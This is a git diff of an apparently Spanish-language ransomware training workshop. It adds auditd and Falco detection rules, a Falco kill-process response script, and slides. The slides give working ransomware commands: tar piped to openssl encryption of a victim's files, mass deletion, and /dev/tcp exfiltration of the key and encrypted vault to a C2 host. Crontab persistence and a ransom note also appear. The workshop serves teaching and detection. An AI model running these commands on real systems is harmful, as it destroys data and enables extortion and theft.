Compare commits

...

5 Commits

Author SHA1 Message Date
6d3e0b2a58 modified rules to use newer format 2026-05-28 19:26:52 -04:00
27b7f5e540 updated readme 2026-05-28 19:22:55 -04:00
f7c82dc9a6 added: auditd rules 2026-05-28 19:21:28 -04:00
0b206aac31 modified readme.md 2026-05-28 19:00:35 -04:00
ffb9fd50aa chores 2026-05-28 18:42:50 -04:00
9 changed files with 343 additions and 352 deletions

View File

@@ -28,12 +28,13 @@ QueComanTierra/
stealdata.sh -- exfiltración de la clave al C2
detection/
falco_rules.yaml -- reglas falco para detectar el comportamiento en runtime
falco.yaml -- config para falco
auditd_rules.rules -- reglas para auditd
slides/
slides.md -- fuente de la presentación (pandoc/reveal.js)
slides.pptx -- presentación compilada
estructura.md -- notas de estructura del taller
notas.md -- notas del instructor
build_pptx.py -- script para compilar con plantilla corporativa
press/
Tierra.jpg -- imagen de portada
Tierra.pdf -- material de prensa/flyer

View File

@@ -0,0 +1,71 @@
## auditd rules: detección LOLBin ransomware (formato nuevo, sin -w legacy)
## Cubre: noxargs_ransom, xargs_ransom, tarbulk
## Instalar: cp auditd_rules.rules /etc/audit/rules.d/lolbin-ransom.rules && augenrules --load
##
## Correlación post-evento:
## ausearch -k crypto_exec --start today | aureport -x --summary
## ausearch -k mass_unlink --start today | wc -l # >500 en <10s = tarbulk
## ausearch -k bash_tcp --start today -i
## ==========================================================================
## --------------------------------------------------------------------------
## COMUN A LOS TRES ESTILOS
## --------------------------------------------------------------------------
## Reconocimiento: find / -type f -writable
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/find -k lolbin_recon
-a always,exit -F arch=b32 -S execve -F exe=/usr/bin/find -k lolbin_recon
## openssl: generación de clave (rand) y cifrado (enc). Ambos usos relevantes.
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/openssl -k crypto_exec
-a always,exit -F arch=b32 -S execve -F exe=/usr/bin/openssl -k crypto_exec
## Escritura en /tmp: .key, .vault.enc, .targets
-a always,exit -F arch=b64 -S open,openat,creat -F dir=/tmp -F success=1 -k tmp_staging
-a always,exit -F arch=b32 -S open,openat,creat -F dir=/tmp -F success=1 -k tmp_staging
## --------------------------------------------------------------------------
## NOXARGS_RANSOM + XARGS_RANSOM
## Señal: miles de EXECVE de openssl y shred en minutos
## --------------------------------------------------------------------------
## shred -u por archivo. noxargs: secuencial. xargs: hasta 36 concurrentes.
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/shred -k shred_exec
-a always,exit -F arch=b32 -S execve -F exe=/usr/bin/shred -k shred_exec
## xargs con -P alto: el multiplicador de paralelismo
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/xargs -k xargs_exec
-a always,exit -F arch=b32 -S execve -F exe=/usr/bin/xargs -k xargs_exec
## Persistencia via crontab (re-cifra archivos nuevos cada 5 min)
-a always,exit -F arch=b64 -S open,openat,creat,rename,unlink -F dir=/var/spool/cron -F success=1 -k crontab_mod
-a always,exit -F arch=b32 -S open,openat,creat,rename,unlink -F dir=/var/spool/cron -F success=1 -k crontab_mod
-a always,exit -F arch=b64 -S open,openat,creat,rename,unlink -F dir=/etc/cron.d -F success=1 -k crontab_mod
-a always,exit -F arch=b32 -S open,openat,creat,rename,unlink -F dir=/etc/cron.d -F success=1 -k crontab_mod
## curl: exfiltración de clave en noxargs y xargs
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/curl -k key_exfil_curl
-a always,exit -F arch=b32 -S execve -F exe=/usr/bin/curl -k key_exfil_curl
## --------------------------------------------------------------------------
## TARBULK
## Señal: UN solo openssl, storm de unlink, connect() desde bash
## --------------------------------------------------------------------------
## tar -czf - (stdout): staging para el pipe a openssl
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/tar -k tar_exec
-a always,exit -F arch=b32 -S execve -F exe=/usr/bin/tar -k tar_exec
## unlink/unlinkat masivo: rm -f sobre 3470 archivos tras el cifrado.
## Esta regla dispara una vez por archivo. El volumen es la alerta.
-a always,exit -F arch=b64 -S unlink,unlinkat -F auid>=1000 -k mass_unlink
-a always,exit -F arch=b32 -S unlink,unlinkat -F auid>=1000 -k mass_unlink
-a always,exit -F arch=b64 -S unlink,unlinkat -F uid=0 -k mass_unlink
-a always,exit -F arch=b32 -S unlink,unlinkat -F uid=0 -k mass_unlink
## connect() desde bash: exfiltración via /dev/tcp sin curl ni wget.
## Alta fidelidad: bash no debería abrir sockets TCP directamente.
-a always,exit -F arch=b64 -S connect -F exe=/usr/bin/bash -k bash_tcp
-a always,exit -F arch=b32 -S connect -F exe=/usr/bin/bash -k bash_tcp
-a always,exit -F arch=b64 -S connect -F exe=/bin/bash -k bash_tcp
-a always,exit -F arch=b32 -S connect -F exe=/bin/bash -k bash_tcp

View File

@@ -0,0 +1,47 @@
# falco.yaml: Configuración mínima para QueComanTierra con respuesta activa
#
# Falco por defecto sólo DETECTA. Con program_output le decimos que pipe
# cada alerta que coincida con una regla CRITICAL/WARNING al response script.
rules_file:
- /etc/falco/falco_rules.yaml # reglas upstream de Falco
- /opt/qct/detection/falco_rules.yaml # reglas QueComanTierra
# ── Salidas ────────────────────────────────────────────────────────────────
json_output: true # el response script consume JSON
# stdout: útil en desarrollo / journald
stdout_output:
enabled: true
# file: persistencia local
file_output:
enabled: true
keep_alive: false
filename: /var/log/falco.log
# program_output: cada alerta se pipe al response handler
# El script recibe el JSON completo en stdin.
# keep_alive: false → proceso nuevo por alerta (más seguro, más lento).
# Para entornos de producción con alto volumen, poner true y manejar
# el stream NDJSON dentro del script.
program_output:
enabled: true
keep_alive: false
program: "/opt/qct/detection/falco_response.sh"
# ── Filtros de prioridad ───────────────────────────────────────────────────
# Solo dispara program_output para WARNING y superior.
# NOTICE/INFO se escriben a log pero no activan respuesta.
priority: warning
# ── Syscall buffer ─────────────────────────────────────────────────────────
# Aumentar si se pierden eventos durante el bulk xargs (Regla 3).
syscall_buf_size_preset: 4 # 4 MB por CPU
# ── Métricas (opcional) ────────────────────────────────────────────────────
metrics:
enabled: true
interval: 60s
resource_utilization_enabled: true

View File

@@ -0,0 +1,77 @@
#!/usr/bin/env bash
# falco_response.sh: Active response handler for QueComanTierra Falco rules
#
# Falco pipes JSON alerts here via program_output.
# Per-rule actions:
# Bash Native TCP Exfiltration → kill PID + ss --kill socket
# Shell Spawning OpenSSL Bulk Enc. → kill PID (kills openssl + parent shell)
# Mass Document Deletion by Shell → kill PID
# Hidden Encrypted Archive in Tmp → kill PID + remove the .enc file
#
# IMPORTANT: runs as root (Falco requirement). Validate PIDs before killing.
set -euo pipefail
LOG="/var/log/falco-response.log"
ALERT=$(cat) # full JSON from Falco
log() { echo "$(date -u +%FT%TZ) [RESPONSE] $*" | tee -a "$LOG" >&2; }
rule=$(echo "$ALERT" | jq -r '.rule')
pid=$(echo "$ALERT" | jq -r '.output_fields["proc.pid"] // empty')
dst_ip=$(echo "$ALERT" | jq -r '.output_fields["fd.rip"] // empty')
dst_port=$(echo "$ALERT"| jq -r '.output_fields["fd.rport"]// empty')
file=$(echo "$ALERT" | jq -r '.output_fields["fd.name"] // empty')
user=$(echo "$ALERT" | jq -r '.output_fields["user.name"]// empty')
log "RULE='$rule' PID='$pid' USER='$user'"
kill_pid() {
local p="$1"
# Validate: PID must be numeric and process must still exist
[[ "$p" =~ ^[0-9]+$ ]] || { log "PID inválido: $p"; return 1; }
[[ -d "/proc/$p" ]] || { log "PID $p ya no existe"; return 0; }
log "KILL -9 $p ($(cat /proc/$p/cmdline | tr '\0' ' '))"
kill -9 "$p" && log "PID $p terminado" || log "No se pudo matar $p"
}
kill_socket() {
local ip="$1" port="$2"
[[ -n "$ip" && -n "$port" ]] || return 0
log "Cerrando socket TCP → $ip:$port"
# ss --kill requiere iproute2 >= 5.3
ss --kill state established dst "${ip}:${port}" 2>>"$LOG" \
&& log "Socket $ip:$port cerrado" \
|| log "ss --kill falló (¿iproute2 < 5.3?)"
}
case "$rule" in
"Bash Native TCP Exfiltration")
log "ACCIÓN: matar proceso + cerrar socket"
kill_pid "$pid"
kill_socket "$dst_ip" "$dst_port"
;;
"Shell Spawning OpenSSL Bulk Encryption")
log "ACCIÓN: matar proceso openssl"
kill_pid "$pid"
;;
"Mass Document Deletion by Shell Process")
log "ACCIÓN: matar proceso de borrado masivo"
kill_pid "$pid"
;;
"Hidden Encrypted Archive Staged in Tmp")
log "ACCIÓN: matar proceso + eliminar vault"
kill_pid "$pid"
if [[ -n "$file" && "$file" == /tmp/*.enc && "$file" == /tmp/.* ]]; then
log "Eliminando vault cifrado: $file"
rm -f "$file" && log "Vault eliminado" || log "No se pudo eliminar $file"
fi
;;
*)
log "Regla desconocida, sin acción automática: $rule"
;;
esac

View File

@@ -56,8 +56,7 @@
openssl enc desde shell, posible cifrado masivo
(user=%user.name uid=%user.uid
cmd=%proc.cmdline
parent=%proc.pname ppid=%proc.ppid
container=%container.name)
parent=%proc.pname ppid=%proc.ppid)
priority: WARNING
tags: [lolbin, ransomware, T1486, T1059.004]
@@ -90,8 +89,7 @@
bash abrió conexión TCP directa, posible /dev/tcp exfiltración
(user=%user.name uid=%user.uid
dst=%fd.rip:%fd.rport
pid=%proc.pid cmd=%proc.cmdline
container=%container.name)
pid=%proc.pid cmd=%proc.cmdline)
priority: CRITICAL
tags: [lolbin, exfiltration, T1048, T1059.004]
@@ -120,8 +118,7 @@
documento de usuario eliminado por proceso shell
(user=%user.name uid=%user.uid
file=%fd.name
proc=%proc.name cmd=%proc.cmdline
container=%container.name)
proc=%proc.name cmd=%proc.cmdline)
priority: WARNING
tags: [ransomware, destruction, T1486]
@@ -149,7 +146,6 @@
archivo cifrado oculto creado en /tmp, posible vault de ransomware
(user=%user.name uid=%user.uid
file=%fd.name
proc=%proc.name cmd=%proc.cmdline
container=%container.name)
proc=%proc.name cmd=%proc.cmdline)
priority: CRITICAL
tags: [ransomware, staging, T1486, T1074]

View File

@@ -1,340 +0,0 @@
#!/usr/bin/env python3
"""
Genera slides.pptx desde slides.md usando la plantilla Diplomados Ciberseguridad.
Los backgrounds se copian directamente desde los slides del template.
"""
from pptx import Presentation
from pptx.util import Pt, Emu
from pptx.dml.color import RGBColor
from lxml import etree
import copy, re, zipfile, io, tempfile, os
TEMPLATE = "../../Red Team.pptx"
SOURCE = "slides.md"
OUTPUT = "slides.pptx"
# Layouts en la plantilla (por nombre español)
L_TITLE = 0 # Diapositiva de titulo (idx 0=ctrTitle, 1=subTitle)
L_CONTENT = 1 # Titulo y objetos (idx 0=title, 1=content)
L_SECTION = 2 # Encabezado de seccion (idx 0=title, 1=body)
# Slides del template que sirven como fuente de backgrounds
# slide1=portada, slide3=contenido, slide5=seccion divisor
BG_TITLE = 0 # image1.jpg — portada con fondo binario rojo
BG_CONTENT = 2 # image3.jpg — slide normal con logos y barra roja
BG_SECTION = 4 # image5.jpg — divisor rojo degradado
PNS = 'http://schemas.openxmlformats.org/presentationml/2006/main'
ANS = 'http://schemas.openxmlformats.org/drawingml/2006/main'
RNS = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships'
IMG_REL = f'{RNS}/image'
# ─── template limpio ─────────────────────────────────────────────────────────
def make_clean_template(src):
"""Devuelve BytesIO: template sin slides (master/layouts/media intactos)."""
SLIDE_XML = re.compile(r'^ppt/slides/slide\d+\.xml$')
SLIDE_RELS = re.compile(r'^ppt/slides/_rels/slide\d+\.xml\.rels$')
SLIDE_CT = 'application/vnd.openxmlformats-officedocument.presentationml.slide+xml'
SLIDE_REL_TYPE = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide'
PKG_NS = 'http://schemas.openxmlformats.org/package/2006/relationships'
PML_NS = 'http://schemas.openxmlformats.org/presentationml/2006/main'
CT_NS = 'http://schemas.openxmlformats.org/package/2006/content-types'
buf = io.BytesIO()
with zipfile.ZipFile(src, 'r') as zin, \
zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zout:
for item in zin.infolist():
name = item.filename
if SLIDE_XML.match(name) or SLIDE_RELS.match(name):
continue # eliminar slides y sus rels del ZIP
data = zin.read(name)
if name == 'ppt/presentation.xml':
root = etree.fromstring(data)
lst = root.find(f'{{{PML_NS}}}sldIdLst')
if lst is not None:
lst.clear()
data = etree.tostring(root, xml_declaration=True,
encoding='UTF-8', standalone=True)
elif name == 'ppt/_rels/presentation.xml.rels':
root = etree.fromstring(data)
for rel in root.findall(f'{{{PKG_NS}}}Relationship'):
if rel.get('Type') == SLIDE_REL_TYPE:
root.remove(rel)
data = etree.tostring(root, xml_declaration=True,
encoding='UTF-8', standalone=True)
elif name == '[Content_Types].xml':
root = etree.fromstring(data)
for ov in root.findall(f'{{{CT_NS}}}Override'):
if ov.get('ContentType') == SLIDE_CT:
root.remove(ov)
data = etree.tostring(root, xml_declaration=True,
encoding='UTF-8', standalone=True)
zout.writestr(item, data)
buf.seek(0)
return buf
# ─── background copy ──────────────────────────────────────────────────────────
def copy_background(new_slide, template_slide):
"""Copia el <p:bg> del template_slide al new_slide, remapeando el rId de imagen."""
cSld_tmpl = template_slide._element.find(f'{{{PNS}}}cSld')
bg = cSld_tmpl.find(f'{{{PNS}}}bg') if cSld_tmpl is not None else None
if bg is None:
return
blip = bg.find(f'.//{{{ANS}}}blip')
if blip is None:
return
old_rId = blip.get(f'{{{RNS}}}embed')
if not old_rId:
return
# Obtener la imagen del template y relacionarla con el nuevo slide
image_part = template_slide.part.related_part(old_rId)
new_rId = new_slide.part.relate_to(image_part, IMG_REL)
# Clonar <p:bg> y actualizar el rId
new_bg = copy.deepcopy(bg)
new_blip = new_bg.find(f'.//{{{ANS}}}blip')
new_blip.set(f'{{{RNS}}}embed', new_rId)
# Insertar en cSld del nuevo slide (antes de spTree)
new_cSld = new_slide._element.find(f'{{{PNS}}}cSld')
existing_bg = new_cSld.find(f'{{{PNS}}}bg')
if existing_bg is not None:
new_cSld.remove(existing_bg)
new_cSld.insert(0, new_bg)
# ─── helpers de texto ─────────────────────────────────────────────────────────
def clean(text):
text = re.sub(r'\*\*(.*?)\*\*', r'\1', text)
text = re.sub(r'\*(.*?)\*', r'\1', text)
text = re.sub(r'`(.*?)`', r'\1', text)
text = re.sub(r'^\s*>\s?', '', text, flags=re.MULTILINE)
return text.strip()
def fill_placeholder(ph, lines):
tf = ph.text_frame
tf.word_wrap = True
tf.clear()
in_code = False
first_p = True
for line in lines:
if line.startswith('```'):
in_code = not in_code
continue
if re.match(r'^\s*\|?[-:| ]+\|', line):
continue
stripped = line.rstrip()
if not stripped and not in_code:
continue
p = tf.paragraphs[0] if first_p else tf.add_paragraph()
first_p = False
bullet = re.match(r'^(\s*)([-*]|\d+\.) (.+)', stripped)
if bullet and not in_code:
indent = len(bullet.group(1)) // 2
p.level = min(indent + 1, 4)
run = p.add_run()
run.text = clean(bullet.group(3))
elif in_code:
# Eliminar bullet del párrafo
pPr = p._p.get_or_add_pPr()
for child in list(pPr):
if child.tag.split('}')[-1].startswith('bu'):
pPr.remove(child)
pPr.append(etree.SubElement(pPr, f'{{{ANS}}}buNone'))
run = p.add_run()
run.text = stripped.lstrip()
run.font.name = 'Courier New'
run.font.size = Pt(13)
run.font.color.rgb = RGBColor(0xC0, 0x00, 0x00)
else:
heading = re.match(r'^#{2,4} (.+)', stripped)
if heading:
run = p.add_run()
run.text = clean(heading.group(1))
run.font.bold = True
else:
run = p.add_run()
run.text = clean(stripped)
# ─── parser ───────────────────────────────────────────────────────────────────
def parse_slides(path):
with open(path) as f:
raw = f.read()
raw = re.sub(r'^---\n.*?\n---\n', '', raw, flags=re.DOTALL)
blocks = re.split(r'\n---\n', raw)
return [b.strip() for b in blocks if b.strip()]
def classify(block):
lines = block.split('\n')
first = lines[0]
if re.match(r'^# ', first):
title = re.sub(r'^# ', '', first).replace('{.center}', '').strip()
body = [l for l in lines[1:] if l.strip() and not l.startswith('{')]
return ('section', title, body)
if re.match(r'^## \{\.center\}', first) or first.strip() == '## {.center}':
body = [l for l in lines[1:] if l.strip()]
return ('section', '', body)
if re.match(r'^## ', first):
title = re.sub(r'^## ', '', first).strip()
return ('content', title, lines[1:])
return ('content', '', lines)
# ─── tables ───────────────────────────────────────────────────────────────────
def parse_md_table(lines):
"""Separa lineas en (non_table_lines, table_rows).
Ignora pipes dentro de code fences para no confundirlos con tablas."""
is_table = lambda l: bool(re.match(r'\s*\|', l.strip()) and '|' in l)
is_sep = lambda l: bool(re.match(r'^\s*\|?[-:| ]+\|', l))
non_table, rows = [], []
in_code = False
for line in lines:
if line.startswith('```'):
in_code = not in_code
non_table.append(line)
continue
if in_code:
non_table.append(line)
continue
if is_sep(line):
continue
if is_table(line):
cells = [clean(c.strip()) for c in line.strip().strip('|').split('|')]
rows.append(cells)
else:
non_table.append(line)
return non_table, rows
def add_pptx_table(slide, rows, left, top, width, height):
"""Añade una tabla PPTX estilizada en las coordenadas dadas."""
if not rows:
return
n_rows = len(rows)
n_cols = max(len(r) for r in rows)
tbl = slide.shapes.add_table(n_rows, n_cols, left, top, width, height).table
# Distribuir columnas proporcionalmente (col0 más estrecha = herramienta)
if n_cols == 2:
tbl.columns[0].width = int(width * 0.25)
tbl.columns[1].width = int(width * 0.75)
else:
for i in range(n_cols):
tbl.columns[i].width = width // n_cols
RED = RGBColor(0x8B, 0x00, 0x00)
WHITE = RGBColor(0xFF, 0xFF, 0xFF)
BLACK = RGBColor(0x00, 0x00, 0x00)
LIGHT = RGBColor(0xF2, 0xF2, 0xF2)
for ri, row in enumerate(rows):
header = (ri == 0)
for ci in range(n_cols):
cell = tbl.cell(ri, ci)
text = row[ci] if ci < len(row) else ''
cell.text = text
cell.fill.solid()
cell.fill.fore_color.rgb = RED if header else (LIGHT if ri % 2 == 0 else WHITE)
for para in cell.text_frame.paragraphs:
for run in para.runs:
run.font.size = Pt(14)
run.font.bold = header
run.font.color.rgb = WHITE if header else BLACK
# ─── builder ──────────────────────────────────────────────────────────────────
def build():
# Template original: solo para extraer backgrounds
tmpl = Presentation(TEMPLATE)
tmpl_slides = list(tmpl.slides)
# Template limpio: sin slides, para construir desde cero
clean_buf = make_clean_template(TEMPLATE)
prs = Presentation(clean_buf)
blocks = parse_slides(SOURCE)
def add(layout_idx, bg_idx):
slide = prs.slides.add_slide(prs.slide_layouts[layout_idx])
copy_background(slide, tmpl_slides[bg_idx])
return slide
# Slide 1: portada
slide = add(L_TITLE, BG_TITLE)
for ph in slide.placeholders:
if ph.placeholder_format.idx == 0:
ph.text = "Que coman tierra"
elif ph.placeholder_format.idx == 1:
ph.text = "De LOLBINs a ransomware\nDiplomados Ciberseguridad"
# Slides desde markdown
for block in blocks:
kind, title, body_lines = classify(block)
if kind == 'section':
slide = add(L_SECTION, BG_SECTION)
for ph in slide.placeholders:
if ph.placeholder_format.idx == 0:
ph.text = title
elif ph.placeholder_format.idx == 1 and body_lines:
fill_placeholder(ph, body_lines)
for para in ph.text_frame.paragraphs:
for run in para.runs:
run.font.color.rgb = RGBColor(0x00, 0x00, 0x00)
else:
slide = add(L_CONTENT, BG_CONTENT)
non_tbl, tbl_rows = parse_md_table(body_lines)
for ph in slide.placeholders:
if ph.placeholder_format.idx == 0:
ph.text = title
elif ph.placeholder_format.idx == 1:
if tbl_rows:
# Usar posicion del placeholder para colocar la tabla
sp = ph._element
xfrm = sp.find(f'.//{{{ANS}}}xfrm')
if xfrm is not None:
off = xfrm.find(f'{{{ANS}}}off')
ext = xfrm.find(f'{{{ANS}}}ext')
l = int(off.get('x', 0))
t = int(off.get('y', 0))
w = int(ext.get('cx', 0))
h = int(ext.get('cy', 0))
else:
l, t, w, h = 838200, 1600200, 10515600, 4500000
# Si hay texto además de tabla, reducir altura de tabla
if non_tbl:
fill_placeholder(ph, non_tbl)
t_offset = int(h * 0.45)
add_pptx_table(slide, tbl_rows, l, t + t_offset, w, h - t_offset)
else:
ph.text = '' # vaciar placeholder
add_pptx_table(slide, tbl_rows, l, t, w, h)
else:
fill_placeholder(ph, body_lines)
prs.save(OUTPUT)
print(f"OK: {OUTPUT}{len(prs.slides)} slides.")
if __name__ == '__main__':
build()

View File

@@ -122,6 +122,45 @@ find /home/victim -type f -writable -print0 \
---
## tar | openssl: un proceso para cifrar todo
`xargs -P` abre un proceso por archivo. `tar | openssl` abre **uno solo**.
```bash
# todos los archivos -> un stream -> un blob cifrado
printf '%s\0' "${TARGETS[@]}" \
| tar --null -T - -czf - \
| openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" \
> /tmp/.vault.enc
# eliminar originales en batch
printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
```
desde un detector de procesos: hay **exactamente un `tar` y un `openssl` corriendo**. nada más.
---
## y encima se lleva el vault
no solo la clave. `tarbulk` exfiltra una copia cifrada de todos los archivos usando `/dev/tcp`, sin `curl`, sin herramientas externas.
```bash
# clave al C2 por tcp/9090
printf 'GET /?k=%s&v=%s HTTP/1.0\r\nHost: %s\r\n\r\n' \
"$KEY" "$VICTIM_IP" "$C2" > /dev/tcp/"$C2"/9090
# vault cifrado al C2 por tcp/9091
{ printf 'POST /vault/%s HTTP/1.0\r\nContent-Length: %d\r\n\r\n' \
"$VICTIM_IP" "$(stat -c%s /tmp/.vault.enc)"
cat /tmp/.vault.enc
} > /dev/tcp/"$C2"/9091
```
aunque pagues, el atacante ya tiene tus archivos. el rescate no garantiza nada.
---
## La ventana de detección se cierra
Benchmark real, root, servidor, `xargs -P 36`:
@@ -295,7 +334,29 @@ Con `tarbulk`: el único momento de intervención real es **antes** de que empie
---
## Ejercicio 4: Nota de rescate
## Ejercicio 4: tarbulk en acción
restaura el snapshot y ejecuta la variante `tar | openssl`:
```bash
KEY=$(openssl rand -hex 32)
mapfile -d '' TARGETS < <(find /home/victim -type f -writable -print0)
time printf '%s\0' "${TARGETS[@]}" \
| tar --null -T - -czf - \
| openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" \
> /tmp/.vault.enc
printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
```
en otra terminal durante el ataque: `watch -n0.5 'ps aux | grep -E "tar|openssl"'`
**¿cuántos procesos viste? ¿en cuántos segundos desapareció `/home/victim`?**
---
## Ejercicio 5: Nota de rescate
```bash
find / -type d -writable -print0 \
@@ -308,7 +369,7 @@ wall /home/victim/LEEME_URGENTE.txt
---
## Ejercicio 5: Persistencia
## Ejercicio 6: Persistencia
```bash
(crontab -l 2>/dev/null; echo \
@@ -324,7 +385,7 @@ Crea un archivo `.txt` nuevo. Espera 5 minutos. ¿Qué pasó?
---
## Ejercicio 6: Forense post-ataque
## Ejercicio 7: Forense post-ataque
```bash
# ¿Qué quedó en auth.log?
@@ -388,6 +449,84 @@ Lo que hay que buscar:
---
## Detección comportamental: Falco
**Falco** intercepta syscalls en tiempo real vía eBPF y dispara alertas cuando el comportamiento rompe una regla, no cuando hay una firma conocida.
- Sin agente en userspace frágil
- Reglas en YAML, legibles por humanos
- Se integra con cualquier SIEM vía Falcosidekick
---
## Instalar Falco: Debian / Ubuntu
```bash
curl -fsSL https://falco.org/repo/falcosecurity-packages.asc \
| sudo gpg --dearmor \
-o /usr/share/keyrings/falco-archive-keyring.gpg
echo "deb [signed-by=/usr/share/keyrings/falco-archive-keyring.gpg] \
https://download.falco.org/packages/deb stable main" \
| sudo tee -a /etc/apt/sources.list.d/falcosecurity.list
sudo apt-get update
sudo apt-get install -y apt-transport-https dialog
sudo apt-get install -y falco
```
---
## Instalar Falco: RHEL / Rocky / Fedora
```bash
sudo rpm --import \
https://falco.org/repo/falcosecurity-packages.asc
sudo curl -o /etc/yum.repos.d/falcosecurity.repo \
https://falco.org/repo/falcosecurity-rpm.repo
sudo yum update -y
sudo yum install -y dialog
sudo yum install -y falco
```
---
## Desplegar las reglas QueComanTierra
```bash
# Clonar el repositorio del taller
git clone https://git.resacachile.cl/anti/workshops /opt/workshops
# Copiar reglas al directorio de Falco
cp /opt/workshops/QueComanTierra/detection/falco_rules.yaml \
/etc/falco/rules.d/tarssl.yaml
# Recargar todos los servicios de Falco
systemctl restart falco-* --all
```
Las reglas viven en `/etc/falco/rules.d/`. Falco las carga automáticamente sin tocar la config base.
---
## Verificar que las reglas están activas
```bash
# Ver reglas cargadas
falco --list | grep -E "OpenSSL|TCP|Deletion|Encrypted"
# Ver logs en tiempo real
journalctl -fu falco
# Probar: lanzar openssl enc desde bash
echo "test" | openssl enc -aes-256-cbc -pass pass:test -pbkdf2
# → Debe aparecer WARNING en journalctl
```
---
## Prevención: backups inmutables
```bash

Binary file not shown.